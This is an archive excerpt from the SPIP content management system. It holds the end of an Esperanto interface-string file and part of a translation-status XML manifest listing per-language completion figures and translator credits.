'text_article_propose_publication' => 'Artikolo proponita por publikigo.',
'texte_acces_ldap_anonyme_1' => 'Iuj LDAP-serviloj ne akceptas sennoman aliron. Tiukaze, necesas difini identecnomon por serĉi informojn en dosierujilo. Plejofte tamen, la sekvantaj tajpujoj povas resti malplenaj.',
'texte_admin_effacer_01' => 'Tiu komando forviŝas <i>la tutan</i> enhavon de la datenbazo,
inkluzive de <i>ĉiuj</i> alirrajtoj de redaktantoj kaj mastrumantoj. Post ties efektivigo, vi devos lanĉi la
SPIP-reinstalon por rekrei novan bazon kaj unuan mastrumulan alirrajton.',
'texte_adresse_annuaire_1' => '(Se via adresaro estas instalita ĉe la sama maŝino kiel la retejo, temas verŝajne pri « localhost ».)',
'texte_ajout_auteur' => 'La jena aŭtoro estis aldonita al la artikolo :',
'texte_annuaire_ldap_1' => 'Se vi havas aliron al dosierujilo (LDAP), vi povas uzi ĝin por aŭtomate importi uzantojn sub SPIP.',
'texte_article_statut' => 'Tiu artikolo estas :',
'texte_article_virtuel' => 'Virtuala artikolo',
'texte_article_virtuel_reference' => '<b>Virtuala artikolo :</b> artikolo referencigita ĉe via SPIP-retejo, sed alidirektita al alia retadreso. Por forigi la alidirekton, forviŝu la ĉi supran URL-n.',
'texte_aucun_resultat_auteur' => 'Neniu rezulto por "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Tiu retejo povas konstante indiki la liston de la konektitaj redaktantoj. Tio ebligas al vi rekte interŝanĝi mesaĝojn. Vi povas decidi ne aperi en tia listo (vi estas « nevidebla » al la aliaj uzantoj).',
'texte_auteur_messagerie_1' => 'Tiu retejo ebligas la interŝanĝon de mesaĝoj kaj la estigon de privataj forumoj inter la partoprenantoj de la retejo. Vi povas decidi ne partopreni en tiaj interŝanĝoj.',
'texte_auteurs' => 'LA AŬTOROJ',
'texte_choix_base_1' => 'Elektu vian datenbazon :',
'texte_choix_base_2' => 'La SQL-servilo enhavas plurajn datenbazojn.',
'texte_choix_base_3' => '<b>Elektu</b> ĉi-poste tiun, kiun atribuis al vi via retejgastiganto :',
'texte_choix_table_prefix' => 'Prefikso de la tabeloj :',
'texte_commande_vider_tables_indexation' => 'Uzu tiun komandon por malplenigi la indeksajn tabelojn uzatajn
de la SPIP-integrita serĉilo. Tio ebligos al vi
gajni diskospacon.',
'texte_compatibilite_html' => 'Vi povas peti SPIP por produkti en la publika spaco, kodon kongruan kun <i>HTML4</ i>, aŭ rajtigi ĝin por uzi la pli modernaj eblecoj de la <i>HTML5</ i>.',
'texte_compatibilite_html_attention' => 'Estas neniu risko aktivigi la opcion <i>HTML5</i>, sed se vi faras, la paĝoj de via retejo devos komenciĝi per la sekva mencio por resti valida : <code>< !DOCTYPE html></code>.
',
'texte_compresse_ou_non' => '(tiu ĉi povas aŭ ne esti densigita)',
'texte_compte_element' => '@count@ elemento',
'texte_compte_elements' => '@count@ elementoj',
'texte_conflit_edition_correction' => 'Bonvolu kontroli ĉi-sube la diferencojn inter ambaŭ versioj de la teksto, vi povas ankaŭ kopii viajn ŝanĝojn, poste restartu.',
'texte_connexion_mysql' => 'Konsultu la informojn donitajn de via retgastiganto : en ili, vi trovos la ensalutilojn necesajn por konektiĝi al la servilo de datumbazo kiun li proponas.',
'texte_contenu_article' => '(Kelkvorta enhavo-priskribo de la artikolo.)',
'texte_contenu_articles' => 'Laŭ la modelo adoptita por via retejo, vi povas decidi
ke certaj elementoj de la artikoloj ne estu uzataj.
Uzu la ĉi-suban liston por indiki kiuj elementoj disponeblas.',
'texte_crash_base' => 'Se via datenbazo kolapsis,
vi povas provi
aŭtomatan riparon.',
'texte_creer_rubrique' => 'Antaŭ ol povi skribi artikolojn,<br /> vi devas krei rubrikon.',
'texte_date_creation_article' => 'KREO-DATO DE LA ARTIKOLO :',
'texte_date_creation_objet' => 'Kreo-dato :', # on ajoute le ":"
'texte_date_publication_anterieure' => 'DATO DE ANTAŬA REDAKTO :',
'texte_date_publication_anterieure_nonaffichee' => 'Ne afiŝi daton de antaŭa redakto.',
'texte_date_publication_article' => 'DATO DE RETA PUBLIKIGO :',
'texte_date_publication_objet' => 'Dato de reta publikigo :',
'texte_descriptif_petition' => 'Priskribo de petskribo',
'texte_descriptif_rapide' => 'Konciza priskribo',
'texte_effacer_base' => 'Forviŝi la SPIP-datenbazon',
'texte_effacer_donnees_indexation' => 'Forviŝi la indeksajn datenojn',
'texte_effacer_statistiques' => 'Forviŝi statistikojn',
'texte_en_cours_validation' => 'La enhavoj ĉi-subaj estas proponitaj por publikigo.',
'texte_enrichir_mise_a_jour' => 'Vi povas pliriĉigi la enpaĝigon de via teksto uzante « tipografiajn rapidklavojn ».',
'texte_fichier_authent' => '<b>Ĉu SPIP kreu la specialajn dosierojn <tt>.htpasswd</tt> kaj <tt>.htpasswd-admin</tt> en dosierujo @dossier@ ?</b><p>
Tiuj dosieroj ebligas limigi la alirrajton de aŭtoroj
kaj administrantoj en aliaj lokoj de via retejo
(ekzemple, ekstera statistik-programo).</p><p>
Se tio ne utilas al vi, vi povas lasi tiun opcion
je ĝia defaŭlta valoro (neniu dosier-kreo).</p>
', # MODIF
'texte_informations_personnelles_1' => 'La sistemo kreos por vi nun personan alireblon al la retejo.',
'texte_informations_personnelles_2' => '(Noto : se temas pri reinstalo kaj se via aliro daŭre funkcias, vi povas',
'texte_introductif_article' => '(Enkonduka teksto al la artikolo.)',
'texte_jeu_caractere' => 'Ni konsilas al vi uzi, en via retejo, universalan alfabeton (<tt>utf-8</tt>) : tio ebligas afiŝadon de tekstoj en ĉiuj lingvoj kaj solvas problemojn de kongrueco se vi uzas modernajn retumilojn.',
'texte_jeu_caractere_2' => 'Atentu : tiu agordo ne konvertas tekstojn jam registritajn en la datenbazo.',
'texte_jeu_caractere_3' => 'Via retejo estas nun instalita laŭ la litertiparo :',
'texte_jeu_caractere_4' => 'Se tio ne kongruas kun la realo de viaj datenoj (ekzemple, sekve de datenbazo-restaŭro), aŭ se <em>vi ĵus ekkreis tiun retejon</em> kaj deziras ekuzi novan litertiparon, bonvolu indiki ĝin ĉi tie :',
'texte_jeu_caractere_conversion' => 'Noto : vi povas decidi konverti definitive ĉiujn tekstojn de via retejo (artikoloj, fulm-informoj, forumoj, ktp...) en alfabeton <tt>utf-8</tt>, irante ĉe <a href="@url@"> la al-utf-8-konvertan paĝon</a>.',
'texte_lien_hypertexte' => 'Se via mesaĝo rilatas al artikolo publikigita ĉe la reto, aŭ al paĝo donanta pli da informoj, bonvolu indiki ĉi-poste la titolon de la paĝo kaj ties URL-adreson.)',
'texte_login_ldap_1' => 'Lasu malplena por sennoma aliro, aŭ entajpu la kompletan vojon, ekzemple « <tt>uid=nomo, ou=uzanto, dc=mia-domajno, dc=com</tt> ».)',
'texte_login_precaution' => 'Atentu ! Tio ĉi estas la salutnomo laŭ kiu vi ensalutis.
Uzu tiun ĉi formularon prudente...',
'texte_message_edit' => 'Atentu : tiu ĉi mesaĝo povas esti modifita de ĉiuj mastrumantoj de la retejo, kaj estas videbla de ĉiuj redaktantoj. Uzu la anoncojn nur por sciigi eventojn gravajn pri la vivo de la retejo.',
'texte_messagerie_agenda' => 'Mesaĝado permesas al retejaj redaktantoj komuniki inter si rekte en la privata spaco de la retejo. Ĝi estas asociita kun agendo.',
'texte_mise_a_niveau_base_1' => 'Vi ĵus ĝisdatigis la SPIP-dosierojn.
Necesas nun alniveligi la datenbazon
de la retejo.',
'texte_modifier_article' => 'Modifi la artikolon :',
'texte_moteur_recherche_active' => '<b>La serĉilo estas aktiva.</b> Uzu tiun komandon
se vi volas fari rapidan reindeksigon (ekzemple post restaŭro
de savkopio). Notu ke la dokumentoj normale modifitaj
(ekde la SPIP-interfaco) estas aŭtomate reindeksitaj :
tiu ĉi komando estas do nur escepte utila.',
'texte_moteur_recherche_non_active' => 'La serĉilo ne estas aktivigita.',
'texte_multilinguisme' => 'Se vi deziras mastrumi la objektojn en pluraj lingvoj, per kompleksa retumado, vi povas aldoni menuon pri lingvoelekto en la objektojn, konforme al la organizo de via retejo.',
'texte_multilinguisme_trad' => 'Vi povas ankaŭ aktivigi sistemon por mastrumi la ligilojn inter la diversaj tradukoj sur iuj objektoj.',
'texte_non_compresse' => '<i>ne densigita</i> (ĉar via servilo ne eltenas tiun funkcion)',
'texte_nouveau_message' => 'Nova mesaĝo',
'texte_nouvelle_version_spip_1' => 'Vi instalis novan version de SPIP.',
'texte_nouvelle_version_spip_2' => 'Tiu ĉi nova versio bezonas pli kompletan ĝisdatigon ol kutime. Se vi estas retejestro de la retejo, bonvolu forviŝi la dosieron @connect@ kaj restarigi la instalprocezon por ĝisdatigi viajn konekt-parametrojn al la datenbazo.<p> (Notu : se vi forgesis viajn konektparametrojn, legu la dosieron @connect@ antaŭ ol forviŝi ĝin...)</p>',
'texte_operation_echec' => 'Reiru al antaŭa paĝo, selektu alian datenbazon aŭ kreu novan. Kontrolu la informojn donitajn de via retgastiganto.',
'texte_plus_trois_car' => 'pli ol 3 literoj',
'texte_plusieurs_articles' => 'Pluraj aŭtoroj trovitaj por"@cherche_auteur@" :',
'texte_port_annuaire' => 'La defaŭlte indikita valoro ĝenerale taŭgas.)',
'texte_presente_plugin' => 'Tiu paĝo listigas kromprogramojn disponeblajn ĉe tiu retejo. Vi povas aktivigi la necesajn kromprogramojn noĉante la kongruan noĉujon.',
'texte_proposer_publication' => 'Kiam via artikolo estas finita,<br /> vi povas proponi ĝian publikigon.',
'texte_proxy' => 'En iuj okazoj (intrareto, protektitaj retoj...),
povas esti necese uzi na <i>proxy HTTP</i> por atingi eksterajn retejojn (dokumentaron de SPIP, abonligitajn retejojn, ktp...).
Se tio okazas, indiku ĉi-sube ties retadreson, laŭ la formo @proxy_en_cours@. Ĝenerale,
lasu tiun tajpujon malplena.',
'texte_publication_articles_post_dates' => 'Kiel kondutu SPIP rilate la artikolojn
kies publikig-dato estis fiksita
por estonta templimo ?',
'texte_rappel_selection_champs' => '[Ne forgesu ĝuste selekti tiun kampon.]',
'texte_recalcul_page' => 'Se vi volas
rekalkuli ununuran paĝon, pasu prefere tra la publika spaco kaj tie uzu la butonon « rekalkuli ».',
'texte_recapitiule_liste_documents' => 'Tiu ĉi paĝo montras la liston de dokumentoj, kiujn vi metis en la rubrikojn. Por modifi la informojn pri ĉiu dokumento, sekvu la ligilon al la paĝo de ties rubriko.',
'texte_recuperer_base' => 'Ripari la datenbazon',
'texte_reference_mais_redirige' => 'artikolo referencigita ĉe via SPIP-retejo, sed redirektita al alia URL.',
'texte_requetes_echouent' => '<b>Kiam iuj SQL-serĉpetoj ĉiufoje
kaj senkiale malsukcesas, estas eble
ke tio okazas pro la datenbazo
mem.</b><p>
Via SQL-servilo disponas je ripar-kapablo de siaj
tabeloj kiam ili estas akcidente difektitaj.
Vi povas ĉi tie provi riparon ;
en kazo de malsukceso, faru ekrankopion.
Ĝi eble entenas indicojn pri la misfunkcio...</p><p>
Se la problemo daŭras, kontaktu
vian retgastiganton.</p>',
'texte_selection_langue_principale' => 'Vi povas ĉi-sube elekti la « ĉefan lingvon » de la retejo. Tiu elekto ne devigas vin - bonŝance ! - verki viajn artikolojn en la elektita lingvo, sed ebligas determini :
<ul><li> la defaŭltan formaton de la datenoj en la publika spaco ;</li>
<li> kian tipografiilon SPIP devas uzi pri tekst-aspektigo ;</li>
<li> la lingvon uzendan en la formularoj de la publika spaco ;</li>
<li> la lingvon defaŭlte prezentitan en la privata spaco.</li></ul>',
'texte_sous_titre' => 'Subtitolo',
'texte_statistiques_visites' => '(Malhelaj stangoj : dimanĉo / malhela kurbo : evoluo de la meznombro)',
'texte_statut_attente_validation' => 'Atendantaj validigon',
'texte_statut_publies' => 'Rete publikigitaj',
'texte_statut_refuses' => 'rifuzitaj',
'texte_suppression_fichiers' => 'Uzu tiun ĉi komandon por forigi ĉiujn dosierojn troviĝantajn
en la SPIP-staplo. Tio ebligas ekzemple devigi la sistemon rekalkuli ĉiujn paĝojn, se vi
faris gravajn ŝanĝojn en la grafiko aŭ strukturo de la retejo.',
'texte_sur_titre' => 'Surtitolo',
'texte_table_ok' => ' : tiu tabelo estas en ordo.',
'texte_tables_indexation_vides' => 'La indeksaj tabeloj de la serĉilo estas malplenaj.',
'texte_tentative_recuperation' => 'Ripar-provo',
'texte_tenter_reparation' => 'Provi riparon de la datenbazo',
'texte_test_proxy' => 'Por testi tiun prokuran servilon, indiku ĉi tie la adreson de retejo, kiun vi deziras testi.',
'texte_titre_02' => 'Titolo :',
'texte_titre_obligatoire' => '<b>Titolo</b> [Deviga]',
'texte_travail_article' => '@nom_auteur_modif@ prilaboris tiun artikolon antaŭ @date_diff@ minutoj',
'texte_travail_collaboratif' => 'Se pluraj redaktantoj laboras ofte
pri sama artikolo, la sistemo
povas afiŝi la ĵus « malfermitajn » artikolojn
por eviti la sammomentajn modifojn.
Tiu opcio estas defaŭlte malaktivigita
por eviti maloportunajn
averto-mesaĝojn.',
'texte_trop_resultats_auteurs' => 'Tro da rezultoj por "@cherche_auteur@" ; bonvolu fajnigi la serĉokriteriojn.',
'texte_unpack' => 'Elŝuto de la lasta versio',
'texte_utilisation_moteur_syndiques' => 'Kiam vi uzas la SPIP-internan serĉilon,
vi povas fari serĉprocezojn ĉe retejoj abonligigitaj laŭ du malsamaj manieroj.
<br />- Plej simple
estas serĉi nur en la titoloj
kaj en la priskriboj de la artikoloj. <br />-
La dua metodo, multe pli potenca, ebligas
al SPIP serĉi ankaŭ en la teksto de la
referencigitaj retejoj . Se vi referencigas
retejon, SPIP tiam serĉos
en la teksto de la retejo mem.',
'texte_utilisation_moteur_syndiques_2' => 'Tiu metodo devigas SPIP-n regule viziti
la referencigitajn retejojn.
Tio povas okazigi iometan malrapidiĝon de
via propra retejo.',
'texte_vide' => 'malplena',
'texte_vider_cache' => 'Malplenigi la staplon',
'titre_admin_effacer' => 'Teknika bontenado',
'titre_admin_tech' => 'Teknika bontenado',
'titre_admin_vider' => 'Teknika bontenado',
'titre_ajouter_un_auteur' => 'Aldoni aŭtoro',
'titre_ajouter_un_mot' => 'Aldoni ŝlosilvorto',
'titre_ajouter_une_rubrique' => 'Aldoni rubrikon',
'titre_cadre_afficher_article' => 'Afiŝi la artikolojn',
'titre_cadre_afficher_traductions' => 'Afiŝi la traduk-staton por tiuj lingvoj :',
'titre_cadre_ajouter_auteur' => 'ALDONI AŬTORON :',
'titre_cadre_interieur_rubrique' => 'Ene de la rubriko',
'titre_cadre_numero_auteur' => 'AŬTORO NUMERO',
'titre_cadre_numero_objet' => '@objet@ NUMERO :',
'titre_cadre_signature_obligatoire' => '<b>Subskribo</b> [deviga]<br />',
'titre_config_contenu_notifications' => 'Avizoj',
'titre_config_contenu_prive' => 'En la privata spaco',
'titre_config_contenu_public' => 'Ĉe la publika retejo',
'titre_config_fonctions' => 'Agordo de la retejo',
'titre_config_langage' => 'Agordi la lingvon',
'titre_configuration' => 'Agordo de la retejo',
'titre_configurer_preferences' => 'Agordi viajn preferojn',
'titre_conflit_edition' => 'Konflikto dum redaktado',
'titre_connexion_ldap' => 'Opcioj : <b>Via konekto LDAP</b>',
'titre_groupe_mots' => 'GRUPO DE VORTOJ :',
'titre_identite_site' => 'Identeco de la retejo',
'titre_langue_article' => 'Lingvo de la artikolo',
'titre_langue_rubrique' => 'Lingvo de la rubriko',
'titre_langue_trad_article' => 'LINGVO KAJ TRADUKOJ DE LA ARTIKOLO',
'titre_les_articles' => 'LA ARTIKOLOJ',
'titre_messagerie_agenda' => 'Mesaĝilo kaj agendo',
'titre_naviguer_dans_le_site' => 'Retejumi...',
'titre_nouvelle_rubrique' => 'Nova rubriko',
'titre_numero_rubrique' => 'RUBRIKO NUMERO :',
'titre_page_admin_effacer' => 'Teknika bontenado : forviŝi la datenbazon',
'titre_page_articles_edit' => 'Modifi : @titre@',
'titre_page_articles_page' => 'La artikoloj',
'titre_page_articles_tous' => 'La tuta retejo',
'titre_page_auteurs' => 'Vizitantoj',
'titre_page_calendrier' => 'Kalendaro @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Agordo de la retejo',
'titre_page_config_fonctions' => 'Agordo de la retejo',
'titre_page_configuration' => 'Agordo de la retejo',
'titre_page_controle_petition' => 'Kontrolo de petskriboj',
'titre_page_delete_all' => 'tuta kaj malfarebla forviŝo',
'titre_page_documents_liste' => 'La dokumentoj de la rubrikoj',
'titre_page_index' => 'Via privata spaco',
'titre_page_message_edit' => 'Skribi mesaĝon',
'titre_page_messagerie' => 'Via mesaĝilo',
'titre_page_recherche' => 'Serĉrezulto @recherche@',
'titre_page_statistiques_referers' => 'Statistikoj (eniraj ligoj)',
'titre_page_statistiques_signatures_jour' => 'Subskribnombro en tago',
'titre_page_statistiques_signatures_mois' => 'Subskribnombro en monato',
'titre_page_upgrade' => 'SPIP-alniveligo',
'titre_publication_articles_post_dates' => 'Publikigo de la postdatitaj artikoloj',
'titre_referencer_site' => 'Referencigi la retejon :',
'titre_rendez_vous' => 'RENDEVUO :',
'titre_reparation' => 'Riparo',
'titre_suivi_petition' => 'Kontrolo de la petskriboj',
'tls_ldap' => 'Transŝuta tavolsekureco (TLS) :',
'trad_article_inexistant' => 'Neniu artikolo kun tiu numero.',
'trad_article_traduction' => 'Ĉiuj versioj de tiu ĉi artikolo :',
'trad_deja_traduit' => 'Eraro : ne eblas ligi tiun artikolon al la petita numero.',
'trad_delier' => 'Ne plu ligi al ties tradukoj',
'trad_lier' => 'Tiu artikolo estas traduko de la artikolo numero :',
'trad_new' => 'Skribi novan tradukon',
// U
'upload_info_mode_document' => 'Enmeti tiun bildon en la bildteko',
'upload_info_mode_image' => 'Eltiri tiun bildon de la bildteko',
'utf8_convert_attendez' => 'Atendu kelkajn momentojn kaj refreŝigu tiun paĝon.',
'utf8_convert_avertissement' => 'Vi estas konvertonta la enhavon de via datenbazo (artikoloj, fulm-informoj, ktp...) kun la litertiparo <b>@orig@</b> al la litertiparo <b>@charset@</b>.',
'utf8_convert_backup' => 'Antaŭe, ne forgesu fari kompletan savkopion de via retejo. Vi devos ankaŭ kontroli, ke viaj skeletoj kaj lingvaj dosieroj kungruas kun @charset@.',
'utf8_convert_erreur_deja' => 'Via retejo jam estas je @charset@, estas senutile konverti ĝin...',
'utf8_convert_erreur_orig' => 'Eraro : la litertiparo @charset@ ne estas eltenata.',
'utf8_convert_termine' => 'Finite !',
'utf8_convert_timeout' => '<b>Grava :</b> kaze de servila <i>eltempiĝo</i> bonvolu freŝigi la paĝon ĝis kiam ĝi indikos « finite ».',
'utf8_convert_verifier' => 'Vi devas nun malplenigi la staplon, kaj kontroli ke ĉio bonas ĉe la publikaj paĝoj de la retejo. Kaze de grava problemo, savkopio de viaj datenoj estas farita (je la SQL-formato) en la dosierujo @rep@.',
'utf8_convertir_votre_site' => 'Konverti vian retejon en utf-8',
// V
'version' => 'Versio :'
);
?>
spip.xml 0000666 00000036152 15252547432 0006265 0 ustar 00 <traduction module="spip" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://trac.rezo.net/spip/spip/ecrire/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/spip?lang_cible=ar" total="631" traduits="631" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="ast" url="http://trad.spip.net/tradlang_module/spip?lang_cible=ast" total="631" traduits="590" relire="0" modifs="9" nouveaux="32" pourcent="93.50">
<traducteur nom="Xuacu" lien="http://trad.spip.net/auteur/xuacu" />
</langue>
<langue code="ay" url="http://trad.spip.net/tradlang_module/spip?lang_cible=ay" total="631" traduits="525" relire="0" modifs="30" nouveaux="76" pourcent="83.20">
<traducteur nom="gaspard" lien="http://trad.spip.net/auteur/gaspard" />
</langue>
<langue code="bg" url="http://trad.spip.net/tradlang_module/spip?lang_cible=bg" total="631" traduits="479" relire="0" modifs="27" nouveaux="125" pourcent="75.91">
</langue>
<langue code="br" url="http://trad.spip.net/tradlang_module/spip?lang_cible=br" total="631" traduits="569" relire="0" modifs="11" nouveaux="51" pourcent="90.17">
</langue>
<langue code="bs" url="http://trad.spip.net/tradlang_module/spip?lang_cible=bs" total="631" traduits="466" relire="0" modifs="42" nouveaux="123" pourcent="73.85">
</langue>
<langue code="ca" url="http://trad.spip.net/tradlang_module/spip?lang_cible=ca" total="631" traduits="618" relire="0" modifs="1" nouveaux="12" pourcent="97.94">
<traducteur nom="merce" lien="http://trad.spip.net/auteur/merce" />
</langue>
<langue code="co" url="http://trad.spip.net/tradlang_module/spip?lang_cible=co" total="631" traduits="603" relire="0" modifs="11" nouveaux="17" pourcent="95.56">
<traducteur nom="tavamig" lien="http://trad.spip.net/auteur/tavamig" />
</langue>
<langue code="cpf" url="http://trad.spip.net/tradlang_module/spip?lang_cible=cpf" total="631" traduits="492" relire="0" modifs="44" nouveaux="95" pourcent="77.97">
</langue>
<langue code="cpf_hat" url="http://trad.spip.net/tradlang_module/spip?lang_cible=cpf_hat" total="631" traduits="477" relire="0" modifs="53" nouveaux="101" pourcent="75.59">
</langue>
<langue code="cs" url="http://trad.spip.net/tradlang_module/spip?lang_cible=cs" total="631" traduits="497" relire="0" modifs="38" nouveaux="96" pourcent="78.76">
</langue>
<langue code="da" url="http://trad.spip.net/tradlang_module/spip?lang_cible=da" total="631" traduits="450" relire="0" modifs="54" nouveaux="127" pourcent="71.32">
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/spip?lang_cible=de" total="631" traduits="629" relire="0" modifs="0" nouveaux="2" pourcent="99.68">
<traducteur nom="Benjamin Tricault" lien="http://trad.spip.net/auteur/benjamin-tricault" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="el" url="http://trad.spip.net/tradlang_module/spip?lang_cible=el" total="631" traduits="482" relire="0" modifs="15" nouveaux="134" pourcent="76.39">
<traducteur nom="dlatr" lien="http://trad.spip.net/auteur/dlatr" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="Yannick Bailly" lien="http://trad.spip.net/auteur/yannick-bailly" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/spip?lang_cible=en" total="631" traduits="631" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Benitron" lien="http://trad.spip.net/auteur/benitron" />
<traducteur nom="Fil" lien="http://trad.spip.net/auteur/fil" />
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="Paolo" lien="http://trad.spip.net/auteur/paolo" />
<traducteur nom="sQuonk" lien="http://trad.spip.net/auteur/squonk" />
</langue>
<langue code="en_hx" url="http://trad.spip.net/tradlang_module/spip?lang_cible=en_hx" total="631" traduits="401" relire="0" modifs="58" nouveaux="172" pourcent="63.55">
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/spip?lang_cible=eo" total="631" traduits="629" relire="0" modifs="0" nouveaux="2" pourcent="99.68">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/spip?lang_cible=es" total="631" traduits="631" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
<traducteur nom="Raquel S. Bujaldón" lien="http://trad.spip.net/auteur/raquel-s-bujaldon" />
<traducteur nom="severo" lien="http://trad.spip.net/auteur/severo" />
</langue>
<langue code="eu" url="http://trad.spip.net/tradlang_module/spip?lang_cible=eu" total="631" traduits="628" relire="0" modifs="1" nouveaux="2" pourcent="99.52">
<traducteur nom="otalazt" lien="http://trad.spip.net/auteur/otalazt" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/spip?lang_cible=fa" total="631" traduits="621" relire="0" modifs="2" nouveaux="8" pourcent="98.42">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fon" url="http://trad.spip.net/tradlang_module/spip?lang_cible=fon" total="631" traduits="451" relire="0" modifs="49" nouveaux="131" pourcent="71.47">
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/spip?lang_cible=fr" total="631" traduits="631" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/spip?lang_cible=fr_fem" total="631" traduits="631" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
<traducteur nom="touti" lien="http://trad.spip.net/auteur/touti" />
</langue>
<langue code="fr_tu" url="http://trad.spip.net/tradlang_module/spip?lang_cible=fr_tu" total="631" traduits="631" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="beatnick" lien="http://trad.spip.net/auteur/beatnick" />
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
<traducteur nom="orlammd" lien="http://trad.spip.net/auteur/orlammd" />
<traducteur nom="PatV" lien="http://trad.spip.net/auteur/pat" />
<traducteur nom="RealET" lien="http://trad.spip.net/auteur/realet" />
</langue>
<langue code="gl" url="http://trad.spip.net/tradlang_module/spip?lang_cible=gl" total="631" traduits="607" relire="0" modifs="5" nouveaux="19" pourcent="96.20">
<traducteur nom="Antón Méixome" lien="http://trad.spip.net/auteur/anton-meixome" />
</langue>
<langue code="hac" url="http://trad.spip.net/tradlang_module/spip?lang_cible=hac" total="631" traduits="618" relire="3" modifs="2" nouveaux="8" pourcent="97.94">
<traducteur nom="akomarani" lien="http://trad.spip.net/auteur/akomarani" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="he" url="http://trad.spip.net/tradlang_module/spip?lang_cible=he" total="631" traduits="568" relire="0" modifs="12" nouveaux="51" pourcent="90.02">
</langue>
<langue code="hr" url="http://trad.spip.net/tradlang_module/spip?lang_cible=hr" total="631" traduits="560" relire="1" modifs="11" nouveaux="59" pourcent="88.75">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="hu" url="http://trad.spip.net/tradlang_module/spip?lang_cible=hu" total="631" traduits="530" relire="0" modifs="40" nouveaux="61" pourcent="83.99">
</langue>
<langue code="id" url="http://trad.spip.net/tradlang_module/spip?lang_cible=id" total="631" traduits="529" relire="0" modifs="28" nouveaux="74" pourcent="83.84">
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/spip?lang_cible=it" total="631" traduits="631" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cap" lien="http://trad.spip.net/auteur/cap" />
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="it_fem" url="http://trad.spip.net/tradlang_module/spip?lang_cible=it_fem" total="631" traduits="545" relire="0" modifs="29" nouveaux="57" pourcent="86.37">
</langue>
<langue code="ja" url="http://trad.spip.net/tradlang_module/spip?lang_cible=ja" total="631" traduits="483" relire="0" modifs="55" nouveaux="93" pourcent="76.55">
<traducteur nom="Cap" lien="http://trad.spip.net/auteur/cap" />
</langue>
<langue code="km" url="http://trad.spip.net/tradlang_module/spip?lang_cible=km" total="631" traduits="568" relire="0" modifs="12" nouveaux="51" pourcent="90.02">
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/spip?lang_cible=lb" total="631" traduits="630" relire="1" modifs="0" nouveaux="0" pourcent="99.84">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
<traducteur nom="mpossoz" lien="http://trad.spip.net/auteur/mpossoz" />
</langue>
<langue code="my" url="http://trad.spip.net/tradlang_module/spip?lang_cible=my" total="631" traduits="526" relire="0" modifs="28" nouveaux="77" pourcent="83.36">
</langue>
<langue code="nap" url="http://trad.spip.net/tradlang_module/spip?lang_cible=nap" total="631" traduits="529" relire="3" modifs="29" nouveaux="70" pourcent="83.84">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="nb" url="http://trad.spip.net/tradlang_module/spip?lang_cible=nb" total="631" traduits="520" relire="0" modifs="37" nouveaux="74" pourcent="82.41">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="ne" url="http://trad.spip.net/tradlang_module/spip?lang_cible=ne" total="631" traduits="543" relire="0" modifs="27" nouveaux="61" pourcent="86.05">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/spip?lang_cible=nl" total="631" traduits="629" relire="0" modifs="0" nouveaux="2" pourcent="99.68">
<traducteur nom="gerbrand" lien="http://trad.spip.net/auteur/gerbrand" />
<traducteur nom="mpossoz" lien="http://trad.spip.net/auteur/mpossoz" />
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="oc_auv" url="http://trad.spip.net/tradlang_module/spip?lang_cible=oc_auv" total="631" traduits="475" relire="0" modifs="25" nouveaux="131" pourcent="75.28">
</langue>
<langue code="oc_gsc" url="http://trad.spip.net/tradlang_module/spip?lang_cible=oc_gsc" total="631" traduits="454" relire="0" modifs="49" nouveaux="128" pourcent="71.95">
</langue>
<langue code="oc_lms" url="http://trad.spip.net/tradlang_module/spip?lang_cible=oc_lms" total="631" traduits="475" relire="0" modifs="24" nouveaux="132" pourcent="75.28">
</langue>
